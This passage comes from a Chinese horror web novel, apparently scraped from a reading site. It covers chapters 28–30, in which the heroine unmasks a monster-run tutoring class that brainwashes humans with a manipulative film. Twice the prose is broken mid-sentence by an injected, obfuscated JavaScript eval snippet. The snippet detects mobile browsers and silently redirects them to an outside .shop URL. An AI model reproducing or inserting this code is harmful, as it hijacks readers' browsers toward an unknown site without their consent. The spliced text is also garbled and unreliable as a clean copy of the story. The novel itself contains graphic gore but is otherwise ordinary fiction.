她们穿着得体的西装，声音甜美，“欢迎各位来到成材！想要加入的人类请来这里填写表格，稍后会有老师带各位前往班级。” 晏无波听到有人在窃窃私语。 “小心别填错了，之前有人因为谎报被赶了出去。你要是被赶出去，可就得去别的副本了。” 谎报只是被赶出去？ 晏无波随着人流往前走，顺利拿到了表格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16529639|184566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 表格正面是姓名、性别、身高、体重、血型、等级、天赋，以及“自愿加入成材计划”的同意声明。背面空白一片，没有任何信息。 晏无波没填，而是拿着表格满大厅转。 既没有进入副本的提示，也没有进入场景的提示，规则都找不到。 现在这种情况算什么？ 这时，许香如和冯彦凯进来了。 许香如看她跟无头苍蝇一样乱转，真想张嘴问她在找什么。但这是有考核性质的实战课，学生没出意外她不能多嘴。 前面有十几人递交了表格，前台伸出触须，将这群人捋成四排。 “A级天赋以上的，站最右边，1班。” “B级、C级天赋，站第二排，2班。” “D级天赋，站第三排，3班。” “E级及以下天赋，站第四排，4班。” 训练营的人普遍都在第一第二排，而另一辆巴士的人都在第三、第四排。 渐渐的，没交表的人只剩下晏无波。 晏无波拿起笔，在天赋那一栏上写了个“E”，然后把表格递过去。 就是在现实世界，有野鸡培训机构调查她的私密信息，她都不会填，更别提现在。 两个纸片诡异拉长了身体，干涩的眼睛里冒出一只只飞蛾。她们一左一右括住晏无波，飞蛾在晏无波的头顶盘旋。 “人类，你为什么不填满，是在浪费我们补习班的资源吗？”她们甜美的嗓音变得低沉粗糙。 许香如的心提了起来，在想要不要给晏无波提示。 而跟她们一起进来的另一波人里，已经有人迫不及待地开口了。 “丫头！你填全啊！”有个老大娘急得拍大腿，“补习班里有条规则是不能浪费她们的资源！” 晏无波听到“规则”二字，侧了侧头，去看那位大娘，问到：“规则在哪？” 大娘没想到她能问这个，怔了一下，立刻急道：“你先填表，填完上二楼，二楼的老师会告诉规则。” “上去以后我还能来一楼吗？” “啊？” 大妈急得上火，但还是回道：“规则不让，直到副本结束才能下来。” “谢谢。”晏无波再次陷入沉思。 上楼才会告知规则，且上去就不能下来…… 反过来想，这一层楼，是不是没有规则限制？ 那这两个诡异有什么资格强制人类填表。 不，不是强制。 谎报只是被赶出去而已。 晏无波似乎找到了一点头绪。 她看向这两个诡异，VIP美瞳发动。 【姓名：贝希、贝蒂】 【身份：成材补习班外派前台】 【品质：E-】 【生命：100%】 【混乱：20%】 【状态：水土不服（10级）】 看到状态，晏无波露出了微笑。 怪不得没有提示。 他们压根没进入诡异世界！ 前台的脸凑得更近了，腐臭的气息朝晏无波面部喷来，继续恐吓：“人类，填满它！” 晏无波一巴掌把快要贴到她脸上的前台拍远，将只填了一个字母的表甩到前台桌面：“就这样，爱要不要，反正我填了。” 围观的人看得一愣一愣的。 六班甚至有人在想：晏无波平时独成那样，说不定也不是不待见他们，只是性格使然。她对诡异态度更差，都差到不要命了！ 如他们所料，诡异们纤薄的身体像气球一样急速膨胀。 “滚出去！滚出去！”它们尖叫着，触须一样的手鼓成水桶粗细挥舞着。 晏无波厉声道：“这里是人类世界，该滚的是你们！” 28. 第 28 章 晏无波的话让膨胀的前台诡异一顿，身体像泄了气似的瘪了一块。 但包括许香如和冯彦凯在内，大家都没有听懂。 什么叫这里是人类世界，他们不在副本内吗？ 冯彦凯嘴里叼着的烟掉在地上都浑然不觉，磕巴地问许香如：“你明白没？” 许香如那头准备救人的头发舞得比诡异的触手还凶，一脸纠结道：“别吵，我在思考。” 晏无波一条条跟其他人解释。 “我目前走过两个副本，不管是宿舍还是便利店，透明玻璃内部都是漆黑一片，唯独这栋楼的不同。这栋楼二、三、四层内部也是黑色，但一楼的窗户却被海报封住了。我敲击了玻璃，玻璃震动的时候，里面的海报也跟着震，说明它和其他楼层不一样。” “进来之后，诡异系统没弹任何提示音，也找不到规则相关的文字。两侧的墙上挂的不是副本相关的海报，而是二十多年前的现实世界明星。” “更重要的是，诡异恨不能把所有人类都杀死，但在这里，谎报信息居然只是被赶出去，这完全不符合诡异的性格。” 她每说一条，许香如等人的脸色便沉一分。 “而且现在，我这样对她们，她们还不动手。是不想杀我，还是没能力杀我？” 晏无波嘴上说着诡异要杀她，揣在兜里的拳头捏得死紧，在考虑用新技能杀诡的可能性。 大家都是E-，差也差不到哪去。更何况这里还有这么多人，一人一拳也大有可为。 诡异踏足到现实世界，不彻底消灭怎么可以？趁它病，要它命！ 两个纸片诡异的身体再次鼓起，甚至比第一次更加的厉害。可正当晏无波打算使用技能时，它们却用触须卷起桌上玩家填好的表格，脖子一扭，跑了！ 诡异也会审时度势。 既然被识破了，她们没必要逞强。等回到她们的主场，再报仇也不迟。 晏无波离前台最近，那几条触须卷东西的时候她就跳上前台，双臂一伸，一手拽一条触须。 触须的手感滑腻冰凉，像在冰水里泡了三天的鱿鱼须。 许香如的反应只慢了半拍。 她的发丝在空中拧紧，化作两个黑色发锤，裹挟着破风声狠狠砸在两个膨胀的诡异身体上。 敲鼓一样沉闷的击打声接连响起，两只诡异的皮肤瘪了又瘪。她们终究没能撑住，脑门逐渐变大的透明鼓包炸破，恶臭的空气从破口中“嘶嘶”冒出。 这会儿纸张对她们而言也不是那么重要了。 触须往上一抛，表格从空中洒落，遮挡了众人的视线。而她们的身上却长出了翅膀，扑扇着要飞。 晏无波两只手抓得死紧，手掌被重新变细的触须勒出了血痕。 “真抗揍啊。”冯彦凯骂了一句，取出一个外形酷似灭火器的红色金属罐。他拧开保险，对准半空中的两只诡异就喷。 从喷口涌出的不是干粉，而是带着硫磺气息的赤色火焰。 “啊啊啊啊啊——！” 两只蛾子一样的诡异发出惨叫，翅膀连同身体，在高温之下蜷缩、碳化，最后化作两根长条状的木炭。 见识过诡异生命力的晏无波不会放过她们，抬脚踩向这两根木炭，直至将其碾成粉末才停止。 最后一脚落下，晏无波的耳边响起了一连串提示音。 【因在击杀E-级诡异中有重大贡献，本次击杀获得1200点经验。】 【等级提升至Lv4！】 【等级提升至Lv5！】 【等级提升至Lv6！】 晏无波比起高兴，首先是疑惑：她在便利店也杀诡异了，那次怎么不给经验，诡异系统也讨厌人头狗？ 许香如和冯彦凯也收到了经验奖励，两人对视一眼，都看到了彼此眼中的震惊。 这里真不是副本！ 他们杀死了诡异！ 诡异能入侵现实世界！ “啊……真的死了……”围观的人们发出感叹，打破大厅里死一般的技能。 有人至今没搞懂状况，拉着别人的手东问西问：“什么意思啊？我们接下来该怎么办，还上不上楼了？” 六班的学员们惊魂未定，但也明白自己刚才见识了一场难得遇见的场面。他们欢呼着围着晏无波，有几只手甚至还想把晏无波举起来。 晏无波眉头一皱，“别碰。” 六班众人：“……” 嗯，还是那个味儿。 沈炙从掏出碘伏，一边给晏无波的手掌消毒一边忧虑道：“也不知道它身上带没带病毒……” 训练营这边一派欢喜的景象，过来刷冷却的另一波人却忧心忡忡。 其中老头儿吓得双腿宛如蛾子振翅，他脸色煞白地往门外跑，大声嚷着：“我、我不去了！门口的诡都死了，说不定里面的也知道了，我要换副本！” 情绪会传染，更何况他说的理由不无道理。 “对啊！这俩死了，里面的诡异知道了还会饶过我们吗？”又一个老太太哭天抢地的拍手，“完啦！完啦！以后我可怎么活啊！” 这两个人的举动像是□□，一下子引爆了冯彦凯带来的那群人的情绪。 不少人扑向冯彦凯，扒着他的身体问接下来怎么办，其中不乏有埋怨晏无波的：“可给她能的，显着她了。” 在这群人的心中，诡异有没有入侵现实不重要，副本有没有猫腻不重要，重要的是他们走过这一次后，又能苟延残喘一个月。 冯彦凯见势不对，立刻呵斥：“行了！想继续闯副本的就留下，不想闯的就回车上坐着，明天给你们安排别的副本。” 有的人很不乐意：“那别的副本也没这个安全啊！那死人了谁负责？你负责吗？还是她负责？” 各种各样的话吵得冯彦凯脑袋大，他举起手枪朝天打了两下，吼道：“怕死就自己进！破晓组织你们进副本是慈善活动，不对你们任何人的性命负责！” 听到枪鸣，这群吵闹的人才安静下来。最后，近一大半的人选择退缩，连自己填的表格都没拿就退出小楼，逃回大巴车上。 六班的人听着这群人明里暗里对晏无波的谴责，心里有些不是滋味。 虽然事出突然，但消灭诡异不是好事情吗？ 冯彦凯摆弄好了自己的队伍，问许香如：“许姐，你这边怎么说？你带的可是新学生，要不让他们也撤了？” “撤屁撤。”许香如瞄了眼自家害怕又带着兴奋的学员，“不是这个副本也会是其他副本，总不能在温室长大，更何况里面的知不知道还两说。” 她翻身进前台，拿了一摞空白表格分发给众人，让他们重新填，“自愿加入成材计划的那个先别写，其他的你们看着办。” 冯彦凯把地上填完的表格聚到一起，用喷火器尽数烧毁。 一切准备妥当后，两个人召集剩余的人，叮嘱道：“为了不打草惊蛇，我们就装什么都不知道，能像以前那样正常过最好，有情况大家再商量。我和冯彦凯都在1班，有事课休时间找我们。” 众人不再多言，按班级不同重新排队，攥着重新填写的表格踏上二楼。 【已进入E级诡异副本：成材补习班。】 二楼的空气比一楼要更阴冷，走廊墙壁斑驳脱落，露出里面暗红色的砖体。 晏无波跟在属于4班的队伍末尾，抬手从红砖的缝隙中取出一片人类指甲。 光线昏暗，几盏接触不良的白炽灯在头顶闪烁，发出“滋滋”的电流声，将人的影子拉得忽长忽短。 楼梯口站着一名同样穿着西服的诡异，他身形臃肿，面色蜡黄，眼珠子像金鱼一样完全凸出来，仿佛马上要掉到地上。 这只诡异似乎没有 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等全部收完，他伸出菜花一样的肉瘤舌头舔了下手指，扒拉着纸张喃喃自语：“让我看看你们这批人材的潜力如何……嗯？” 看到手里的表格都是信息不全的，尤其是“自愿加入成材计划”的同意选项全都没签名，他的肥脸顿时耷拉到肩膀上，露出血淋淋的眼眶。 “怎么回事！表格都没填好，怎么上来的！”教导主任将晏无波的那一张纸拎出来，在空中甩得“啪啪”作响，“还有这个！谁填的！还是E！” 胆子小看见这一幕就被震住了，吭哧吭哧地说不出话来。 晏无波上前一步，面不改色地回答：“规则没说必须填表，我赶时间就随便填了，不行？” 教导主任两只凸眼珠子盯着她看了足足十几秒，才心不甘情不愿地说道：“上课去！” 晏无波抬脚上走廊，原是她走在最末，现在已经是头名。 她比来了三次的人走得还快，开门进入四班教室。 头颅裂成两半，断口处满是密密麻麻吸盘的诡异靠在讲台上，“同学们，快入座吧。” 晏无波往教室内一扫，里面没有课桌、没有椅子，只有正中央硕大无比的铁笼。 铁笼大门敞开，里面错落着十几个干硬的铁锈色坐垫。 进入多次的人见怪不怪，走进铁笼，踢开坐垫，随便找了个空地席地而坐。 先前提醒晏无波规则的大妈拉了拉她的袖子，小声道：“我来两次了，流程就这样，看完电影就能走了。期间老师会问电影细节，不能马虎着看。” 晏无波大致看了遍教室，还是没找到“纸质”规则。目前他们所掌握的信息，都是出自教导主任之口。 等所有人进入笼子后，大门重重关上，锁扣自动落下。 讲台上的诡异点了点人数，满意点头。 “现在是7点38分，离正式上课还有段时间，我们先随便看点东西放松一下吧。” 教室前方，一块白色的幕布缓缓降下，模糊的影像缓缓浮现在幕布上。 “众诡周知，人类女性身体脂肪占比要比人类男性普遍要高，所以两者在肢解手法和烹饪处理也各有不同……” 画外音渐渐放大，画面里出现了肢解人类的血腥画面。 晏无波胃液翻涌，早上吃的饭都快要吐出来了。但她周围的人却表情平平，各自找了舒服的姿势或坐或躺，有的甚至大胆地倚在铁笼上。 这个小短片播放了十几分钟时，教室的门被轻轻推开了一道缝。 数个脑袋、或许都称不上脑袋的东西们从门缝里探了进来。 晶莹的液体顺着脑袋上血肉模糊的洞口，一滴一滴地落在地上，发出“滴答、滴答”的声响。 像是饿极了的人流下的口水。 29. 第 29 章 门缝里的脑袋们跟葡萄似的堆叠在一起，蠕动着要进教室。滴答滴答的口水声越来越密集，在门口汇聚成一摊小水洼。 讲台上的诡异老师暂停视频，两半头颅一半转向门口，一半转向笼子里的人类，异常欣喜地说道：“看来这堂课是公开课，请同学们热烈欢迎外校老师！” 除晏无波以外，所有人类整齐划一地鼓起掌来，仿佛真把自己当成了欢迎领导视察的学生。 在多头诡异身后，还有数只奇形怪状的诡异。有的甚至连固定状态的实体都维持不住，身体的脓包鼓胀又破裂，活像肉糜成精。 徐秀新用手肘轻轻怼了下晏无波，再次提醒：“别卖呆儿了，鼓掌啊！早点把‘表扬’拿了，劳动课就不用上了。” 对这个屡次提醒自己的阿姨，晏无波还是挺有好感的，但她实在不想对诡异们表示“欢迎”，便找了个理由搪塞：“谢谢阿姨，不过我们有任务，你不用在意我。” “啊，这样啊。”徐秀新赶紧离晏无波远了些，“那你做任务的时候别扯到我身上啊，我不行，上个劳动课都差点把我累死。” 这是她第二次提到劳动课。 晏无波顺势问道：“劳动课的内容是什么？” “做饭，我当时不知道要自己找食材，还是……” 徐秀新刚讲了一半，便被台上的诡异老师打断：“台下不要交头接耳！” 有了“表扬”吊着，老师的话便是圣旨。 徐秀新瞬间噤声，紧抿着嘴冲老师挤出个讨好的笑，随即离晏无波更远了些。 但是她移动的方向却让晏无波生疑。 即便不想和可能制造麻烦的人类沟通，正常人也不会往更靠近诡异的方向挪。 可此刻的徐秀新，不但没有远离诡异，反而往铁笼栏杆更近一步，离进入教室内的“外校老师”不到一米的距离。 在她的认知里，比起同阵营的人类，诡异更让她感到安全？ 不止徐秀新如此。 晏无波扫视全场，发现其他人也对进入的诡异毫不在意，有的甚至趴在笼子上，和到来的诡异熟稔地打招呼。 这种人诡和谐的场景她做梦都梦不到。 强烈的违和感裹挟着晏无波，她立刻启动美瞳，挨个儿鉴定场内的人类和诡异。 【徐秀新，Lv9，生命值：100/100，精神值：100/100……】 【葛光，Lv10，生命值：100/100，精神值：100/100……】 …… 这些人的数据全部正常，比看肢解视频掉了两点精神值的晏无波还要健康。 但和晏无波不一样的是，显示他们精神值的数字异常暗淡。有的人暗得几乎快要看不见，和神豪系统闪瞎人眼的特效极不匹配。 晏无波头一次遇到这种情况，无法判定这群人是什么状态。但精神值越暗的人，越喜欢贴着笼边坐，姿态越放松。 她压下心中的疑惑，转而鉴定在场诡异。 讲台上那个头颅裂成两半的D+级诡异，鉴定费十万冥币。 而流着口水的多头诡异，品质竟是C-，鉴定费高达一百万。 按照训练营课程的说法，正常情况下E级副本的诡异最高级别为D。如果诡异品质D+,则大概率说明这个副本侵吞过大量人类，有升级的倾向。 课上教的东西和晏无波去过的两个副本都很吻合，所以晏无波学习的时候没有提出质疑。 但这个副本显然和课程对不上。 思考再三，晏无波挑了讲台上的、最先进门的、看着模样最怪的三只诡鉴定。 鉴定费共计一百一十五万，说不心疼是假的。 但是…… 挣钱就是为了花！ 【韩娅，成材公司培育师，D+，……】 【洛伦佐，洛伦佐服装店店长，C-，……】 【张伯鑫，悦家市场调料铺老板，D，……】 培育师……勉强能和补习班扯上关系。但服装店店长和调料铺老板，算哪门子的“外校老师”？ 晏无波记下信息，目光重新落回徐秀新等几个人类身上。 她将这几个精神值最暗淡的人类面板缩小，挂在视野右上角，开启了持续监控。 和前头的百万冥币对比，每人每分钟才耗费10冥币如同毛毛雨。 做完这一切，晏无波走到众人中间后方的位置站定。 这个位置虽然看不到所有人的正脸，但能观察到人们的大致反应。 她一动，名为洛伦佐的多头诡也跟着动了。 “看来我们的新老师已经选好了帮扶对象。”台上的韩娅老师很高兴，断口处的吸盘们兴奋地收缩，发出“啵啵啵”的湿滑动静。 帮扶对象？ 晏无波这才注意到，不光是她有对应的“外校老师”，每个人都有自己熟悉的对象。 “小年轻就是经不住事儿。”有个老头撇嘴，“有什么可紧张的，外校老师都挺友善的，他喜欢你才会盯你。” 晏无波停了下来。 这话说的，要不是这老头儿和她一起进的副本，她都以为他是诡异假扮的。 宿管这种写在规则里的“友方”都对人类暗藏杀机，这些没在规则里的东西，怎么可能友善？ 背后不断涌来黏腻的腥臭味，口水滴落的“滴答”声如影随形。 晏无波向左侧横移两步，试图用余光将洛伦佐纳入视野。 洛伦佐众多脑袋先后发出“哈哈哈”的笑声，造出多层次的混响的效果，紧接着也向左平移。 他认准了晏无波，无论她如何移动，他都要站在她的视觉死角里。 “好了，这位同学，不要再玩了。”韩娅抬手让晏无波坐下，“八点了，我们开始上课，不要让其他同学等你。” 唰！ 笼内所有人类的目光齐刷刷地刺向晏无波，眼神里满是催促和不耐。 晏无波没有理会，她觉得自己和这些人格格不入。 这种疏离感让她完全放松不下来，精神时刻紧绷着。 “同学，快坐下！”韩娅的声音严厉起来，断口处的吸盘猛然撑开，密集的孔洞宛如拔光牙齿的猩红牙床。 其他人对晏无波的不满更浓了。 “这人怎么回事？故意来捣乱的吗？” “自己不想活别连累我们！我们还想通关呢！” “一点公德心都没有，看着就不安分！” 徐秀新更是急得两条胳膊都擎了起来，上下摆动着让她赶紧坐下。 晏无波依旧站着，冷冷开口：“规则有说必须坐下听课？” 众人一愣。 他们仔细回想，好像……确实没有这种规则。 韩娅断口处的吸盘充血膨胀，鼓成了一个个血红色的肉瘤。她压抑着怒火，微笑解释道：“学生来上课，怎么能不听老师的话呢？” “这样的话，请老师将规则……” “不过！”韩娅分开的头合了起来，吸盘与吸盘互相挤压摩擦，发出类似人类磨牙的咯吱声。“既然这位同学喜欢站着听课，那老师就勉为其难地同意吧。” 她不怀好意地盯着晏无波，“你要比旁人更认真的听讲，待会儿老师可要提问。” 笼外，诡异们虎视眈眈。笼内，人类们悠悠闲闲。 晏无波打开神豪系统面板，盯着躺在边框挠屁股的金元宝看了一会儿，心情才舒畅了些。 “需要我帮忙记课程内容吗？”金元宝不情不愿地问。 在某些方面，它和人类挺一致的，都不喜欢血腥的东西。只是人类是害怕，它是恶心。 晏无波知道它的喜好，不过这次情况特殊，她拜托道：“尽量帮我记吧，以防万一。” 金元宝翻身坐起，跳到晏无波肩头答应：“好哦。” 韩娅走到墙边，按灭了教室的灯。 “今天有新同学加入，我们先回顾下第一节课的内容。” 教室瞬间陷入一片黑暗。 教室陷入一片黑暗，幕布上鲜艳的红色反照在人类身上，映出一张张血色面庞。 幕布上开始播放影片，画质模糊，时不时闪烁着雪花。 几个白色的大字从屏幕中央跳出——《幸福人生》。 与其说是课程，这影片更像是一部家庭纪录片。 老人行动不便，病痛缠身，被家人嫌弃累赘。 中年男人在职场卑躬屈膝，被客户当狗骂。 中年女人不但在职场受挫，回家还要操劳家务，被全家指责唠叨。 年轻人求职屡屡碰壁，深陷消费主义陷阱和情感牢笼。 …… 影片中的一家人，几乎浓缩了现实世界所有的苦难与绝望，每一个片段都精准地踩在大众的痛点上。 很快，笼内响起了压抑的哭声。 那些大妈大爷们沉浸感拉满，仿佛在影片里看到了自己的人生，哭得涕泗横流，上气不接下气。 晏无波没哭。 她只觉得这家人全有病。 非侮辱意义的。 红色背景再次出现，韩娅暂停了视频。 “看来，人类的生活真的很不容易。”她唏嘘着，似乎也在同情影片里的人类。 “接下来老师要提问喽，同学们，你们都联想到了自己生活中的哪些事呢？” 其他人已经熟悉流程了，不用韩娅催，便一边哭一边举手，迫不及待地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16570998|184566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分享自己的不幸。 然而韩娅的目光却越过这些狂热的人，锁定在晏无波身上。 晏无波左手插兜，右手软塌塌的举起。 从她漠然的表情不难看出，她本人没有分享意愿，举手只是应付那条“积极回答问题”的规则。 韩娅上上下下打量着晏无波。 怎么回事？ 这人怎么会一点反应都没有？ 她看起来可不像是在幸福家庭长大的…… 韩娅疑惑地抬手，隔空指向晏无波，“那位站着的同学，你来说说吧。” 晏无波迎上韩娅的目光，开口道：“硬要说感想的话，我觉得这一家人都该打车去精神病院。” “什么？” 韩娅吸盘都不会动了。 她把两边脑袋翻过去，将耳朵对准晏无波，再次重复道：“你说什么？” 晏无波叹了口气，将影片中的人物拉出来全批评一遍：“老人病了就好好休息，强撑着做事累人累己。中年男人被谁气就把气撒到谁身上，不要把情绪发泄到家人身上。中年女人不要总做些感动自己的事，别人不需要就是不需要。年轻人过度超前消费……” 这感想也太正能量了，韩娅连忙打断：“我放的不是警示片，没让你在这挑错！” 但是已经晚了，影片营造出来的绝望氛围被晏无波三言两语搅散。有的人即便挂着满脸泪花，也不住地点头。 晏无波瞥着视线边角的面板。 就在她说完自己的感想后，徐秀新几人暗淡的精神值亮了些许。尽管比正常亮度还要暗许多，但确实在好转。 “安静！！！”韩娅气急败坏，两半脑袋“啪”地合拢，发出沉闷的撞击声。 这部影片融入人类的负面情绪，只要对生活有一点不满，就能从上面找到共鸣。 她就不信了，这人对自己的生活没一点抱怨。 “你就没从影片联想到自己的生活？” 晏无波平静地反问：“联想什么？联想幸好我是没家的孤儿，成长过程中没遇到这种糟心的家人，过得比他们幸福？” 啊这…… 韩娅失语。 她甚至在猜她有道具稳固心神，都没猜到…… 这人家庭条件超纲了。 “噗嗤。”金元宝没忍住，敲着晏无波肩膀笑得狂颤。 幸福果然是对比出来的。 和晏无波这么一比，其他人不哭了，也不嚎了，满腔的倾诉欲也没了。 徐秀新和身边的人面面相觑，她挠了挠头，小声说道：“我家里情况比视频里好多了，我家孩子不省心，但也没欠几百万的债。” “确实，我上班虽然累，可没低声下气到这种地步。” “唉，我对象还挺好的……” 事情发展超出韩娅的预料。 她不安地望向“外校老师”，已经有相当多的诡异在用眼神向她表达不满。 “继续上课！”韩娅的声音陡然尖锐，“下次提问，回答让老师满意的同学将会获得表扬！” 听到有“表扬”，人们立刻端正坐姿，生怕遗漏影片细节。 影片继续，一家人的生活越发艰难。 在明灭的闪屏中，人类的情绪再一次被主宰，呜呜咽咽的哭声重新回荡在教室。 正当一家人穷途末路，打算集体赴死时，他们误入了诡异世界。 在友善诡异的帮助下，他们度过了一个个艰难的副本。期间“迫不得已”的献祭了最年老的家人给友善诡异吃，帮助他增长实力带其他人通关。 这个情节渲染得极其悲壮有美感，影片结束时，教室里的人们竟不由自主地鼓起掌来。 韩娅对这个结果很满意，两半头颅转向笼外，似乎在对那些“外校老师”展示自己的教学成果。 参观的诡异们发出满意的嘶嘶声，唯独位于晏无波后方的洛伦佐大力敲击着牢笼。 原因很简单，被他看中的晏无波不但没鼓掌，在掌声最热烈的时候还低声说了句“恶心”。 有金元宝在，晏无波的注意力并未完全投入影片，而是分出一部分观察众人的面板。 正是这一丝分神，才让她及时清醒——她刚才竟然有几秒对情节产生了“认同感”，认为诡异世界存在善良的诡异，甚至觉得被吃也没那么可怕。 晏无波低头看向自己被冷汗浸湿的手心，她似乎明白这节品德课在做什么了。 洗脑。 不，或许不单单是洗脑。 这个副本低死亡率都能升级，里面一定还有其他环节。 韩娅感受到了洛伦佐的怒火，无奈地开口：“洛伦佐先生，麻烦您出来一下，我们需要重新商讨一下教学计划。” 30. 第 30 章 韩娅感受到了洛伦佐的怒火，无奈地开口：“洛伦佐先生，麻烦您出来一下，我们需要重新商讨一下教学计划。” 两只诡一前一后的走出教室。 教室的门刚一关上，徐秀新就立刻挪动着屁股凑了过来，用手拽着晏无波的裤脚说道：“你这孩子！怎么偏和老师作对，你这下惨了！” 其他人也纷纷投来怜悯的目光。 一个戴眼镜的老头唉声叹气：“老师每次去‘商讨教学计划’后，回来问的问题难度都会大幅度提高。比如影片5分25秒，地砖是什么花纹之类的……反正不是人能答出来的。” 晏无波顺着徐秀新的力道蹲下，问道：“答不上来会死吗？” 徐秀新耷拉着眉眼，没明说，但表情很明显。 “这样啊。”晏无波了然。 也就是说，这个副本有能力将人团灭，但出于某种原因刻意留手。 她思考片刻，对其他人说道：“待会儿要是继续放影片，你们不要再认真看，那是……” 嗷——！！！ 周围的诡异们瞬间暴动，或尖锐或低沉的咆哮声震得晏无波鼓膜嗡嗡作响。最靠近徐秀新的那只诡异，更是将长满倒刺的舌头猛地探入笼内。 他的舌尖停在晏无波的喉咙前不到一寸的地方，直白地威胁她闭嘴。 众人对诡异的躁动恍若未闻，只对晏无波不让他们看影片这件事无比愤怒。 “凭什么不看！你是觉得自己要死了，想让我们陪你下水吗？” “就是啊，不看等下提问，你让我们怎么办？” 晏无波对这些人的诋毁并不上心，脑子都被诡异洗了，还能说出什么人话来？ 只是她虽然确信自己没有触犯规则，但她没必要拿命赌诡异的底线。 于是她话锋一转：“等我把所有问题都答出来，你们再考虑要不要听我的吧。” 诡异们的咆哮渐渐平息，阴冷地注视着这个可能坏他们好事的人。 片刻后，教室门再次被推开。 洛伦佐一进门便贴在铁笼出口，似乎笃定很快有人出去。 韩娅则恢复了那副为人师表的模样，笑眯眯地说道：“刚才的影片大家看得都很投入，现在，老师开始提问了哦！不听讲的学生，晚上要留下继续补课。” 如众人所料，晏无波是被选定的对象。 “站着的同学，影片1分32秒，中年男人被客户训斥，客户领带的颜色是什么？” 所有人的目光瞬间聚焦在晏无波身上。徐秀新等人更是屏住了呼吸，心提到了嗓子眼。 晏无波面不改色地回答：“蓝色。” 韩娅脸上的笑容一僵。 她轻咳一声，立刻抛出第二个问题：“影片3分07秒，年轻人刷爆信用卡买的那个手工包，它的品牌设计师全名叫什么？” “阿布索伦.L.利连撒尔” 韩娅：“……” 活见鬼了！ 展示制作者名片的镜头不到两秒，她这都能记住？ 金元宝坐在晏无波肩头，用只有她能听到的声音嘻嘻哈哈地嘲笑：“你看她那表情，好像你才是诡异。” 韩娅的脸色难看，不信邪地加快语速。 “老人第一次摔倒时，地砖是什么花纹？” “米白色大理石纹，有三条不规则的浅灰色裂纹。” “中年女人切菜时，背景里挂着的日历是几月几号？” “七月十四号，星期二，宜嫁娶，忌动土。” “……” 时间到达十一点，韩娅问得口干舌燥，再也想不出问题。 从刚才开始，问题的答案连她自己都记不清，需要滑动视频检查，对方却能准确说出。 笼外的洛伦佐越来越狂躁，他用无数个脑袋疯狂地撞击着铁笼，仿佛下一秒就要破笼而入。 就在这时，站在晏无波右前方，一直盯着某个大爷的诡异，转身离开了教室。 韩娅像是明白了什么，一改萎靡，兴奋地跟着他出去。 数秒后两只诡回到教室。 这一次韩娅的目光不再投向晏无波，而是落在了那个大爷身上。 “这位同学，影片结尾一家人决定献祭老父亲时，画面里有几朵云？” 突然被点名的大爷浑身一抖，茫然地站了起来。 怎么就轮到他了？他什么都没做啊！ 他的脸涨成了猪肝色，冷汗顺着脸颊滑落。 刚才这问题那个女娃答过，但他们说得太快他没记住。 要是没记错的话，那个场景在室内。 难道答案是……零？ 他反常识地不看晏无波，而是去看自己身后那位“外校老师”。 那名诡异的眼睛瞪得溜圆，像在给他暗示。 在韩娅鼓励的目光中，大爷艰难扯开嘴角，准备说出那个呼之欲出的答案。 然而另一道声音却抢先一步：“一朵。” “卡通云的图案，在那个友善诡异的袖口上。” 韩娅猛地转头，怒喝道：“闭嘴！” 她激动地扑到铁笼前，“没有问你的时候你不要开口！” 晏无波越过众人走到韩娅面前，表情诚恳的像在嘲讽她，“老师，这说明我在积极回答问题啊。再者说，教导主任要我们帮扶差生，我不能坐视不理。” “你才是那个差生！” 韩娅被气得爆粗口，吸盘在栏杆上摔摔打打，看着晏无波密恐快犯了。 奈何不了晏无波，她只能寄希望于那个人类男性，“你说！你的答案是0还是1！” 大爷被她吼的一愣，眼神在晏无波和“外校教师”之间徘徊。 晏无波好奇心被勾了起来，问道：“你的思考过程可以说出来给我听听吗？” 他面板的精神值还是满点，说明理智尚在。 既然有理智，那为什么选不出答案？答案都怼到他脸上了。 作为人类的她这么不受人待见吗？ 韩娅不想给他太多思考时间，立刻开始催他：“快点说，再不说我就认为你不积极回答问题！” 精神值黯淡程度不高的人比他更容易选出答案，纷纷出谋划策：“选1啊，刚才她不都答过了吗？要是她刚才答错了，老师就罚她了。” 另一半人纠结道：“可是，外校老师的意思好像是零？” “正确答案都摆你面前了，你还听老师的干什么？” “怎么能不听呢？他们帮我们通关过副本。相比起来，这个第一次见面的人才不值得信任吧？” “再不值得信任那也是个人，还是从破晓出来的，总比诡异好……哎？” 最后出声反驳的人终于察觉到违和感了。 本能先大脑一步，让他后背冒出阵阵冷汗。 这些日子他所做的一切，如走马灯一样在脑海快速回放——最终定格在没有进入过副本的家人们，在不知情的情况下，被他“好心”地拉入副本的一幕。 他瘫软在地，双手捂着头发出凄厉的哀嚎：“啊……啊……啊啊啊啊！！！” 面板上的精神值在明暗之间疯狂闪烁，与此同时，他的精神值数字也断崖似地下降。 80、60、40…… 再往下身体就要发生变异了。 晏无波果断抬手，手刀劈向他的后脖颈。 在招是她在训练营学的，还没对别人用过。不过从对方倒在地上的状态来看，效果不错。 “什、什么情况……？”徐秀新的面板也在闪烁，从她煞白的脸色看，她也意识到了问题。“呕……！” 由于过于抵触自己的记忆，她的身体产生强烈不适，让她不得不跪趴在地上呕吐起来。 被惊醒的还有个白胡子的老头，他精神值没有闪烁，而是一下恢复 